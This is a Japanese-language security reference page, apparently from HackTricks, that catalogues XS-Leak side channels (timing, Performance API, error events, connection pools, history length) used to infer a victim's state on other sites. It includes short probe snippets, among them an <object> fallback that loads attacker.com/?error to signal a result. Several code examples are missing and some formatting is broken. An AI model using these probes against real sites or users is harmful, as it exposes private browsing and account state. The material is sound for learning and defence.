XS-Search/XS-Leaks

Reading time: 89 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

XS-Searchは、サイドチャネル脆弱性を利用してクロスオリジン情報を抽出するための手法です。

この攻撃に関与する主要なコンポーネントは以下の通りです:

  • 脆弱なウェブ: 情報を抽出することを目的としたターゲットウェブサイト。
  • 攻撃者のウェブ: 攻撃者が作成した悪意のあるウェブサイトで、被害者が訪れ、エクスプロイトをホストしています。
  • インクルージョンメソッド: 脆弱なウェブを攻撃者のウェブに組み込むために使用される技術(例:window.open、iframe、fetch、hrefを持つHTMLタグなど)。
  • リーク技術: インクルージョンメソッドを通じて収集された情報に基づいて、脆弱なウェブの状態の違いを識別するために使用される技術。
  • 状態: 攻撃者が区別しようとする脆弱なウェブの2つの潜在的な条件。
  • 検出可能な違い: 攻撃者が脆弱なウェブの状態を推測するために依存する観察可能な変化。

検出可能な違い

脆弱なウェブの状態を区別するために分析できるいくつかの側面があります:

  • ステータスコード: サーバーエラー、クライアントエラー、または認証エラーなど、さまざまなHTTPレスポンスステータスコードをクロスオリジンで区別します。
  • API使用: 特定のJavaScript Web APIを使用しているかどうかを明らかにするために、ページ間でのWeb APIの使用を特定します。
  • リダイレクト: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
  • ページコンテンツ: HTTPレスポンスボディやページのサブリソースにおける変化を観察します。例えば、埋め込まれたフレームの数や画像のサイズの違いなど。
  • HTTPヘッダー: 特定のHTTPレスポンスヘッダーの存在やその値を記録します。X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれます。
  • タイミング: 2つの状態間の一貫した時間の違いに気づきます。

インクルージョンメソッド

  • HTML要素: HTMLは、スタイルシート、画像、スクリプトなど、クロスオリジンリソースのインクルージョンのためのさまざまな要素を提供し、ブラウザに非HTMLリソースをリクエストさせます。この目的のための潜在的なHTML要素のコンパイルはhttps://github.com/cure53/HTTPLeaksで見つけることができます。
  • フレーム: iframeobject、およびembedなどの要素は、攻撃者のページにHTMLリソースを直接埋め込むことができます。ページがフレーミング保護を欠いている場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのウィンドウオブジェクトにアクセスできます。
  • ポップアップ: window.openメソッドは、新しいタブまたはウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティと対話するためのウィンドウハンドルを提供します。ポップアップは、シングルサインオンでよく使用され、ターゲットリソースのフレーミングやクッキー制限を回避します。ただし、現代のブラウザは特定のユーザーアクションに制限してポップアップの作成を制限しています。
  • JavaScriptリクエスト: JavaScriptは、XMLHttpRequestsFetch APIを使用してターゲットリソースへの直接リクエストを許可します。これらのメソッドは、HTTPリダイレクトに従うかどうかを選択するなど、リクエストに対する正確な制御を提供します。

リーク技術

  • イベントハンドラー: XS-Leaksにおける古典的なリーク技術で、onloadonerrorのようなイベントハンドラーがリソースの読み込みの成功または失敗に関する洞察を提供します。
  • エラーメッセージ: JavaScriptの例外や特別なエラーページは、エラーメッセージから直接リーク情報を提供するか、その存在と不在を区別することによってリーク情報を提供できます。
  • グローバル制限: メモリ容量や他の強制されたブラウザ制限など、ブラウザの物理的制限は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。
  • グローバル状態: ブラウザのグローバル状態(例:履歴インターフェース)との検出可能な相互作用を悪用できます。例えば、ブラウザの履歴のエントリ数は、クロスオリジンページに関する手がかりを提供できます。
  • パフォーマンスAPI: このAPIは、現在のページのパフォーマンス詳細を提供し、ドキュメントと読み込まれたリソースのネットワークタイミングを含み、要求されたリソースに関する推測を可能にします。
  • 読み取り可能な属性: 一部のHTML属性はクロスオリジンで読み取り可能であり、リーク技術として使用できます。例えば、window.frame.lengthプロパティは、JavaScriptがクロスオリジンのウェブページに含まれるフレームの数をカウントすることを可能にします。

XSinatorツールと論文

XSinatorは、いくつかの既知のXS-Leaksに対してブラウザをチェックする自動ツールです。詳細はその論文に記載されています:https://xsinator.com/paper.pdf

ツールにはhttps://xsinator.com/アクセスできます

warning

除外されたXS-Leaks: 他のリークに干渉するため、サービスワーカーに依存するXS-Leaksを除外する必要がありました。さらに、特定のウェブアプリケーションの誤設定やバグに依存するXS-Leaksも除外することにしました。例えば、CrossOrigin Resource Sharing (CORS)の誤設定、postMessageリーク、またはクロスサイトスクリプティングなどです。加えて、時間ベースのXS-Leaksも除外しました。これらはしばしば遅く、ノイズが多く、不正確であるためです。

タイミングベースの技術

以下の技術のいくつかは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法はいくつかあります。

時計: performance.now() APIは、開発者が高解像度のタイミング測定を取得することを可能にします。
攻撃者が暗黙の時計を作成するために悪用できるAPIは多数あります:Broadcast Channel APIMessage Channel APIrequestAnimationFramesetTimeout、CSSアニメーションなど。
詳細については、https://xsleaks.dev/docs/attacks/timing-attacks/clocksを参照してください。

イベントハンドラ技術

Onload/Onerror

Cookie Bomb + Onerror XS Leak

コード例は、JSからスクリプトオブジェクトを読み込もうとしますが、他のタグ(オブジェクト、スタイルシート、画像、オーディオなど)も使用できます。さらに、タグを直接挿入し、タグ内でonloadおよびonerrorイベントを宣言することも可能です(JSから挿入するのではなく)。

この攻撃には、スクリプトなしのバージョンもあります:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

この場合、example.com/404 が見つからない場合、attacker.com/?error が読み込まれます。

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

この技術は前のものと同様ですが、attacker関連する時間 をかける アクションを強制 し、応答が肯定的または否定的 の場合にその時間を測定します。

performance.now + Force heavy task

unload/beforeunload Timing

リソースを取得するのにかかる時間は、unload および beforeunload イベントを利用して測定できます。beforeunload イベントは、ブラウザが新しいページに移動しようとしているときに発生し、unload イベントは、実際にナビゲーションが行われているときに発生します。これら2つのイベント間の時間差を計算することで、ブラウザがリソースを取得するのにかかった時間 を特定できます。

Sandboxed Frame Timing + onload

Framing Protections がない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。この測定は、iframe の onload ハンドラーがリソースの読み込みと JavaScript の実行が完了した後にのみトリガーされるため、通常可能です。スクリプト実行によって導入される変動を回避するために、攻撃者は <iframe> 内で sandbox 属性を使用することがあります。この属性を含めることで、多くの機能が制限され、特に JavaScript の実行が制限されるため、主にネットワークパフォーマンスに影響される測定が可能になります。

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: 正しいコンテンツにアクセスしたときにページがエラーを出し、任意のコンテンツにアクセスしたときに正しく読み込まれるようにできる場合、時間を測定することなくすべての情報を抽出するためのループを作成できます。
  • Code Example:

あなたがiframe内に秘密のコンテンツを持つページを挿入できると仮定します。

あなたは被害者に"flag"を含むファイルをiframeを使って検索させることができます(例えばCSRFを悪用)。iframe内では、_onloadイベント_が少なくとも1回は常に実行されることがわかっています。次に、URLiframeを変更できますが、URL内のハッシュコンテンツだけを変更します。

例えば:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

最初のURLが正常に読み込まれた場合、URLのハッシュ部分を変更するとonloadイベントは再度トリガーされません。しかし、ページが読み込み時に何らかのエラーを持っていた場合、onloadイベントは再度トリガーされます

これにより、正しく読み込まれたページと、アクセス時にエラーが発生したページを区別できます。

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: ページが機密コンテンツを返す、またはユーザーによって制御可能なコンテンツを返す場合。ユーザーは負のケース有効なJSコードを設定し、各試行を**<script>タグ内で読み込むことができます。したがって、負のケースでは攻撃者のコード実行され**、肯定的なケースでは何も実行されません。
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: ステータスコード & ヘッダー
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: **Cross-Origin Read Blocking (CORB)**は、攻撃から保護するために特定の機密クロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護動作を悪用できます。CORBの対象となる応答がnosniff2xxステータスコードを持つ_CORB保護された_ Content-Typeを返すと、CORBは応答のボディとヘッダーを削除します。これを観察する攻撃者は、ステータスコード(成功またはエラーを示す)とContent-TypeCORBによって保護されているかどうかを示す)の組み合わせを推測し、潜在的な情報漏洩につながります。
  • Code Example:

攻撃に関する詳細情報は、より多くの情報リンクを確認してください。

onblur

iframe内にページを読み込み#id_valueを使用して、指定されたifの要素にページをフォーカスさせることができます。次に、**onblur信号がトリガーされると、ID要素が存在します。
同様の攻撃を
portal**タグで実行できます。

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API使用
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してページ内のユーザーのステータスを知る
  • Code Example: すべてのpostMessagesをリッスンする任意のコード。

アプリケーションは、異なるオリジン間で通信するためにしばしばpostMessageブロードキャストを利用します。しかし、この方法は、targetOriginパラメータが適切に指定されていない場合、機密情報を不注意に露出させる可能性があります。さらに、メッセージを受信する行為自体がオラクルとして機能する可能性があります。たとえば、特定のメッセージは、ログインしているユーザーにのみ送信される場合があります。したがって、これらのメッセージの存在または不在は、ユーザーの状態やアイデンティティに関する情報を明らかにすることができます。

Global Limits Techniques

WebSocket API

ターゲットページが使用しているWebSocket接続の数を特定することが可能です。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。

あるオリジン最大数のWebSocket接続オブジェクトを使用している場合、接続状態に関係なく、新しいオブジェクトの作成はJavaScript例外を引き起こします。この攻撃を実行するために、攻撃者のウェブサイトはターゲットウェブサイトをポップアップまたはiframeで開き、その後、ターゲットウェブが読み込まれた後、可能な限り最大数のWebSocket接続を作成しようとします。スローされた例外の数は、ターゲットウェブサイトウィンドウが使用しているWebSocket接続の数です。

Payment API

このXS-Leakは、攻撃者がクロスオリジンページが支払いリクエストを開始したときを検出できるようにします。

支払いリクエストは同時に1つだけアクティブにできるため、ターゲットウェブサイトがPayment Request APIを使用している場合、このAPIを使用しようとするさらなる試みは失敗しJavaScript例外を引き起こします。攻撃者は、定期的にPayment API UIを表示しようとすることでこれを悪用できます。1回の試行で例外が発生した場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、作成後すぐにUIを閉じることで、これらの定期的な試行を隠すことができます。

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScriptはシングルスレッドのイベントループの並行モデルで動作し、同時に1つのタスクしか実行できません。この特性は、異なるオリジンのコードが実行されるのにかかる時間を測定するために悪用できます。攻撃者は、固定プロパティを持つイベントを継続的に送信することで、イベントループ内で自分のコードの実行時間を測定できます。これらのイベントは、イベントプールが空のときに処理されます。他のオリジンも同じプールにイベントを送信している場合、攻撃者は自分のタスクの実行の遅延を観察することで、これらの外部イベントが実行されるのにかかる時間を推測できます。遅延を監視するこの方法は、異なるオリジンのコードの実行時間を明らかにし、機密情報を露出させる可能性があります。

warning

実行タイミングでは、より正確な測定を得るためにネットワーク要因を排除することが可能です。たとえば、ページを読み込む前に使用されるリソースを読み込むことによって。

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: タイミング(一般的にページコンテンツ、ステータスコードによる)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: ウェブ操作の実行時間を測定する1つの方法は、スレッドのイベントループを意図的にブロックし、イベントループが再び利用可能になるまでの時間を測定することです。ブロッキング操作(長い計算や同期API呼び出しなど)をイベントループに挿入し、その後のコードが実行を開始するまでの時間を監視することで、ブロッキング期間中にイベントループで実行されていたタスクの期間を推測できます。この技術は、タスクが順次実行されるJavaScriptのシングルスレッドの性質を利用し、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供します。
  • Code Example:

実行時間を測定するためにイベントループをロックする技術の大きな利点は、サイト分離を回避する可能性です。サイト分離は、異なるウェブサイトを別々のプロセスに分けるセキュリティ機能であり、悪意のあるサイトが他のサイトから機密データに直接アクセスするのを防ぐことを目的としています。しかし、共有イベントループを通じて他のオリジンの実行タイミングに影響を与えることで、攻撃者はそのオリジンの活動に関する情報を間接的に抽出できます。この方法は、他のオリジンのデータに直接アクセスすることに依存せず、そのオリジンの活動が共有イベントループに与える影響を観察することで、サイト分離によって確立された保護バリアを回避します。

warning

実行タイミングでは、より正確な測定を得るためにネットワーク要因を排除することが可能です。たとえば、ページを読み込む前に使用されるリソースを読み込むことによって。

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: タイミング(一般的にページコンテンツ、ステータスコードによる)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: 攻撃者はすべてのソケットを1つを除いてロックし、ターゲットウェブを読み込み、同時に別のページを読み込むことができ、最後のページが読み込みを開始するまでの時間がターゲットページの読み込みにかかった時間です。
  • Code Example:

Connection Pool Examples

ブラウザはサーバー通信のためにソケットを利用しますが、オペレーティングシステムとハードウェアのリソースが限られているため、ブラウザは同時に開くことができるソケットの数に制限を設けざるを得ません。攻撃者はこの制限を次の手順で悪用できます:

  1. ブラウザのソケット制限を確認します。例えば、256のグローバルソケット。
  2. 255のソケットを長時間占有し、さまざまなホストに255のリクエストを開始し、接続を完了せずに開いたままにします。
  3. 256番目のソケットを使用してターゲットページにリクエストを送信します。
  4. 別のホストに257番目のリクエストを試みます。すべてのソケットが使用中であるため(手順2と3に従って)、このリクエストはソケットが利用可能になるまでキューに入れられます。このリクエストが進行するまでの遅延は、256番目のソケット(ターゲットページのソケット)に関連するネットワーク活動に関するタイミング情報を攻撃者に提供します。この推測が可能なのは、手順2の255のソケットがまだ使用中であるため、新たに利用可能なソケットは手順3から解放されたものである必要があるからです。したがって、256番目のソケットが利用可能になるまでの時間は、ターゲットページへのリクエストが完了するのにかかる時間に直接関連しています。

詳細情報については、https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/を参照してください。

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: タイミング(一般的にページコンテンツ、ステータスコードによる)
  • More info:
  • Summary: 前の技術と似ていますが、すべてのソケットを使用するのではなく、Google Chrome同じオリジンに対して6つの同時リクエストの制限を設けています。もし5つをブロックし、次に6番目のリクエストを発信すると、タイミングを測定でき、被害者ページが同じエンドポイントにリクエストを送信させることができれば、6番目のリクエスト長くかかり、それを検出できます。

Performance API Techniques

Performance APIは、ウェブアプリケーションのパフォーマンスメトリクスに関する洞察を提供し、Resource Timing APIによってさらに強化されます。Resource Timing APIは、リクエストの持続時間など、詳細なネットワークリクエストのタイミングを監視することを可能にします。特に、サーバーが応答にTiming-Allow-Origin: *ヘッダーを含めると、転送サイズやドメインルックアップ時間などの追加データが利用可能になります。

この豊富なデータは、performance.getEntriesperformance.getEntriesByNameなどのメソッドを介して取得でき、パフォーマンス関連情報の包括的なビューを提供します。さらに、APIはperformance.now()から取得したタイムスタンプの差を計算することで、実行時間の測定を容易にします。ただし、Chromeなどのブラウザでは、performance.now()の精度がミリ秒に制限される場合があり、タイミング測定の粒度に影響を与える可能性があります。

タイミング測定を超えて、Performance APIはセキュリティ関連の洞察にも利用できます。たとえば、Chromeのperformanceオブジェクトにページが存在するかどうかは、X-Frame-Optionsの適用を示す可能性があります。具体的には、X-Frame-Optionsによりフレーム内でのレンダリングがブロックされたページは、performanceオブジェクトに記録されないため、ページのフレーミングポリシーに関する微妙な手がかりを提供します。

Error Leak

HTTP応答ステータスコードを区別することが可能です。なぜなら、エラーを引き起こすリクエストはパフォーマンスエントリを作成しないからです。

Style Reload Error

前の技術では、リソースが読み込まれないときに2回読み込まれるブラウザのバグがある2つのケースも特定されました。これにより、Performance APIに複数のエントリが記録され、検出可能になります。

Request Merging Error

この技術は、前述の論文の表に見つかりましたが、技術の説明は見つかりませんでした。しかし、https://xsinator.com/testing.html#Request%20Merging%20Error%20Leakでソースコードを確認することができます。

Empty Page Leak

攻撃者は、リクエストが空のHTTP応答ボディをもたらしたかどうかを検出できます。なぜなら、空のページは一部のブラウザでパフォーマンスエントリを作成しないからです。

XSS-Auditor Leak

セキュリティアサーション(SA)において、元々クロスサイトスクリプティング(XSS)攻撃を防ぐために設計されたXSS Auditorは、逆説的に機密情報を漏洩させるために悪用される可能性があります。この組み込み機能はGoogle Chrome(GC)から削除されましたが、SAにはまだ存在します。2013年、BraunとHeiderichは、XSS Auditorが正当なスクリプトを誤ってブロックし、偽陽性を引き起こす可能性があることを示しました。これを基に、研究者たちは情報を抽出し、クロスオリジンページ上の特定のコンテンツを検出する技術を開発しました。この概念はXS-Leaksとして知られ、最初にTeradaによって報告され、Heyesによってブログ投稿で詳述されました。これらの技術はGCのXSS Auditorに特有でしたが、SAではXSS AuditorによってブロックされたページはPerformance APIにエントリを生成しないことが発見され、機密情報が漏洩する可能性がある方法が明らかになりました。

X-Frame Leak

ページがiframe内でレンダリングされることが許可されていない場合、パフォーマンスエントリを作成しません。その結果、攻撃者は応答ヘッダー**X-Frame-Optionsを検出できます。
同様のことが
embed**タグを使用した場合にも起こります。

Download Detection

前述のXS-Leakと同様に、ContentDispositionヘッダーによってダウンロードされるリソースもパフォーマンスエントリを作成しません。この技術はすべての主要なブラウザで機能します。

Redirect Start Leak

クロスオリジンリクエストに関して過剰な情報を記録する一部のブラウザの動作を悪用するXS-Leakのインスタンスが見つかりました。標準では、クロスオリジンリソースに対してゼロに設定すべき属性のサブセットが定義されています。しかし、SAでは、ターゲットページによってユーザーがリダイレクトされたかどうかを、Performance APIを照会し、redirectStartタイミングデータを確認することで検出できます。

Duration Redirect Leak

GCでは、リダイレクトを引き起こすリクエストの持続時間負の値になり、リダイレクトが発生しないリクエストと区別できます。

CORP Leak

場合によっては、nextHopProtocolエントリを漏洩技術として使用できます。GCでは、CORPヘッダーが設定されていると、nextHopProtocolはになります。SAでは、CORP対応リソースに対してパフォーマンスエントリがまったく作成されないことに注意してください。

Service Worker

サービスワーカーは、オリジンで実行されるイベント駆動型スクリプトコンテキストです。彼らはウェブページのバックグラウンドで実行され、リソースをインターセプト、変更、およびキャッシュしてオフラインウェブアプリケーションを作成できます。
サービスワーカーによってキャッシュされたリソースiframeを介してアクセスされると、そのリソースはサービスワーカキャッシュから読み込まれます
リソースがサービスワーカーキャッシュから**読み込まれたかどうかを検出するために、Performance APIを使用できます。
これもタイミング攻撃で行うことができます(詳細は論文を参照してください)。

Cache

Performance APIを使用して、リソースがキャッシュされているかどうかを確認できます。

Network Duration

Error Messages Technique

Media Error

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

MediaErrorインターフェースのメッセージプロパティは、成功裏にロードされたリソースを特定の文字列で一意に識別します。攻撃者はこの機能を利用して、メッセージの内容を観察することで、クロスオリジンリソースの応答ステータスを推測できます。

CORSエラー

この技術により、攻撃者はクロスオリジンサイトのリダイレクト先を抽出することができます。具体的には、CORS対応リクエストがユーザーの状態に基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、リダイレクトのターゲットの完全なURLがエラーメッセージ内に開示されます。この脆弱性はリダイレクトの事実を明らかにするだけでなく、リダイレクトのエンドポイントや含まれる可能性のある機密のクエリパラメータも公開します。

SRIエラー

攻撃者は冗長なエラーメッセージを利用して、クロスオリジンの応答のサイズを推測できます。これは、サブリソース整合性(SRI)のメカニズムによるもので、整合性属性を使用して、CDNから取得されたリソースが改ざんされていないことを検証します。SRIがクロスオリジンリソースで機能するためには、これらがCORS対応でなければなりません。そうでなければ、整合性チェックの対象にはなりません。セキュリティアサーション(SA)において、CORSエラーXSリークと同様に、整合性属性を持つフェッチリクエストが失敗した後にエラーメッセージをキャプチャできます。攻撃者は、任意のリクエストの整合性属性に偽のハッシュ値を割り当てることで、このエラーを意図的にトリガーできます。SAでは、結果として得られるエラーメッセージが要求されたリソースのコンテンツ長を意図せず明らかにします。この情報漏洩により、攻撃者は応答サイズの変動を識別でき、洗練されたXSリーク攻撃の道を開きます。

CSP違反/検出

XSリークは、CSPを使用してクロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらにリダイレクトターゲットのドメインも漏洩します。この攻撃の基本的なアイデアは、攻撃者サイトでターゲットドメインを許可することです。ターゲットドメインにリクエストが発行されると、それはクロスオリジンドメインにリダイレクトします。CSPはそのアクセスをブロックし、違反レポートを作成してリーク技術として使用します。ブラウザによっては、このレポートがリダイレクトのターゲット位置を漏洩する可能性があります
最新のブラウザは、リダイレクト先のURLを示しませんが、クロスオリジンリダイレクトがトリガーされたことを検出することはできます。

キャッシュ

ブラウザは、すべてのウェブサイトに対して1つの共有キャッシュを使用する場合があります。オリジンに関係なく、ターゲットページが特定のファイルを要求したかどうかを推測することが可能です

ページがユーザーがログインしている場合にのみ画像をロードする場合、リソースを無効にする(キャッシュされていない場合は、詳細情報リンクを参照)ことができ、そのリソースをロードするリクエストを実行し、不正なリクエスト(例:過剰なリファラーヘッダーを使用)でリソースをロードしようとします。リソースのロードがエラーをトリガーしなかった場合、それはキャッシュされていた**からです。

CSPディレクティブ

Google Chrome(GC)の新機能により、ウェブページはiframe要素に属性を設定することでコンテンツセキュリティポリシー(CSP)を提案でき、ポリシーディレクティブがHTTPリクエストと共に送信されます。通常、埋め込まれたコンテンツはこれをHTTPヘッダーを介して承認する必要があり、さもなければエラーページが表示されます。ただし、iframeがすでにCSPによって管理されており、新たに提案されたポリシーがより制限的でない場合、ページは通常通りにロードされます。このメカニズムは、攻撃者がクロスオリジンページの特定のCSPディレクティブを検出するための道を開きます。エラーページを特定することができる新しいリーク技術が存在することを示唆しています。

CORP

CORPヘッダーは比較的新しいウェブプラットフォームのセキュリティ機能で、設定されると指定されたリソースへのノーコルスクロスオリジンリクエストをブロックします。ヘッダーの存在は検出可能で、CORPで保護されたリソースは取得されるとエラーを発生させます

CORB

攻撃についての詳細情報はリンクを確認してください。

オリジンリフレクションの誤設定におけるCORSエラー

OriginヘッダーAccess-Control-Allow-Originヘッダーに反映されている場合、攻撃者はこの動作を悪用してCORSモードでリソースを取得しようとできます。エラートリガーされない場合、それはウェブから正しく取得されたことを意味し、エラーがトリガーされる場合、それはキャッシュからアクセスされたことを意味します(エラーは、キャッシュが元のドメインを許可するCORSヘッダーを持つ応答を保存しているために発生します)。
オリジンが反映されていないがワイルドカードが使用されている場合(Access-Control-Allow-Origin: *)、これは機能しません。

読み取り可能な属性技術

フェッチリダイレクト

redirect: "manual"および他のパラメータを使用してFetch APIを介してリクエストを送信すると、response.type属性を読み取ることができ、opaqueredirectと等しい場合、応答はリダイレクトでした。

COOP

攻撃者は、クロスオリジンHTTP応答におけるクロスオリジンオープナーポリシー(COOP)ヘッダーの存在を推測できます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを妨げるためにウェブアプリケーションによって使用されます。このヘッダーの可視性は、contentWindow参照にアクセスしようとすることで判断できます。COOPが条件付きで適用されるシナリオでは、openerプロパティが明白な指標となります:COOPが有効な場合は未定義であり、無効な場合は定義されています

URL最大長 - サーバーサイド

サーバーサイドリダイレクトがリダイレクション内でユーザー入力を使用し追加データを持つ場合、この動作を検出することが可能です。通常、サーバーにはリクエスト長の制限があります。もしユーザーデータがその長さ - 1であれば、リダイレクトそのデータを使用し、何かを追加しているため、エラーがトリガーされます。これはエラーイベントを介して検出可能です

もし何らかの方法でユーザーにクッキーを設定できる場合、十分なクッキーを設定することによってこの攻撃を実行することもできます(クッキーボム)。その結果、正しい応答のサイズが増加し、エラーがトリガーされます。この場合、同じサイトからこのリクエストをトリガーすると、<script>が自動的にクッキーを送信するため(エラーを確認できます)。
クッキーボム + XS-Searchの例は、この書き込みの意図された解決策に見つけることができます: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=Noneまたは同じコンテキストにいることが、この種の攻撃には通常必要です。

URL最大長 - クライアントサイド

Chromiumのドキュメントによると、Chromeの最大URL長は2MBです。

一般的に、_ウェブプラットフォーム_にはURLの長さに制限はありません(ただし、2^31は一般的な制限です)。_Chrome_は、実用的な理由とプロセス間通信におけるサービス拒否問題を回避するために、URLを最大2MBに制限しています。

したがって、リダイレクトURLが一方のケースで大きい場合2MBを超えるURLでリダイレクトさせることが可能です。これが発生すると、Chromeは**about:blank#blocked**ページを表示します。

顕著な違いは、リダイレクト完了した場合、window.originエラーをスローすることです。クロスオリジンはその情報にアクセスできません。しかし、制限が達成され、読み込まれたページが**about:blank#blockedであった場合、ウィンドウのoriginのものであり、これはアクセス可能な情報**です。

2MBに到達するために必要なすべての追加情報は、最初のURLにハッシュを追加することで追加でき、リダイレクトで使用されます

URL Max Length - Client Side

最大リダイレクト

ブラウザの最大リダイレクト数が20の場合、攻撃者は19のリダイレクトでページを読み込もうとし、最終的に被害者をテストされたページに送信します。エラーがトリガーされる場合、そのページは被害者をリダイレクトしようとしていたことになります。

履歴の長さ

History APIは、JavaScriptコードがブラウザの履歴を操作できるようにし、ユーザーが訪れたページを保存します。攻撃者は、長さプロパティをインクルージョンメソッドとして使用できます:JavaScriptとHTMLのナビゲーションを検出するために。
history.lengthを確認し、ユーザーにページに移動させ、同じオリジンに戻しhistory.lengthの新しい値を確認します

同じURLでの履歴の長さ

  • インクルージョンメソッド: フレーム、ポップアップ
  • 検出可能な違い: URLが推測したものと同じかどうか
  • 概要: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測できます。
  • コード例: 以下

攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を推測したものに操作しすぐにそれを**about:blankに変更できます。履歴の長さが増加した場合、それはURLが正しかったことを意味し、同じであれば再読み込みされないため増加する時間がありました。増加しなかった場合、それは推測したURLを読み込もうとしたが、すぐにその後about:blankを読み込んだため、履歴の長さは増加しなかったことを意味します。

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

フレームカウント

iframe または window.open を介して開かれた ウェブのフレームの数をカウントすることで、そのページ上のユーザーの状態を特定するのに役立つかもしれません。
さらに、ページが常に同じ数のフレームを持っている場合、フレームの数を継続的にチェックすることで、情報が漏洩する可能性のあるパターンを特定するのに役立つかもしれません。

この技術の例として、Chrome では PDFフレームカウント によって 検出 されることがあります。なぜなら、内部で embed が使用されているからです。zoomviewpagetoolbar などのコンテンツに対する制御を許可する Open URL Parameters があり、この技術が興味深い場合があります。

HTMLElements

HTML要素を通じた情報漏洩は、特にユーザー情報に基づいて動的メディアファイルが生成される場合や、メディアサイズを変更する透かしが追加される場合に、ウェブセキュリティにおいて懸念されます。攻撃者は、特定のHTML要素によって露出された情報を分析することで、可能な状態を区別するためにこれを悪用することができます。

HTML要素によって露出された情報

  • HTMLMediaElement: この要素はメディアの durationbuffered 時間を明らかにし、APIを介してアクセスできます。HTMLMediaElementについての詳細
  • HTMLVideoElement: videoHeightvideoWidth を露出します。一部のブラウザでは、webkitVideoDecodedByteCountwebkitAudioDecodedByteCount、および webkitDecodedFrameCount などの追加プロパティが利用可能で、メディアコンテンツに関するより詳細な情報を提供します。HTMLVideoElementについての詳細
  • getVideoPlaybackQuality(): この関数は、totalVideoFrames を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。getVideoPlaybackQuality()についての詳細
  • HTMLImageElement: この要素は画像の heightwidth を漏洩します。ただし、画像が無効な場合、これらのプロパティは0を返し、image.decode() 関数は拒否され、画像が正しく読み込まれなかったことを示します。HTMLImageElementについての詳細

CSSプロパティ

ウェブアプリケーションは、ユーザーの状態に応じてウェブサイトのスタイリングを変更することがあります。クロスオリジンのCSSファイルは、HTMLリンク要素を使用して攻撃者のページに埋め込むことができ、ルールは攻撃者のページに適用されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの違い検出できます。
漏洩技術として、攻撃者は window.getComputedStyle メソッドを使用して特定のHTML要素のCSSプロパティを読み取ることができます。その結果、影響を受ける要素とプロパティ名が知られている場合、攻撃者は任意のCSSプロパティを読み取ることができます。

CSS履歴

note

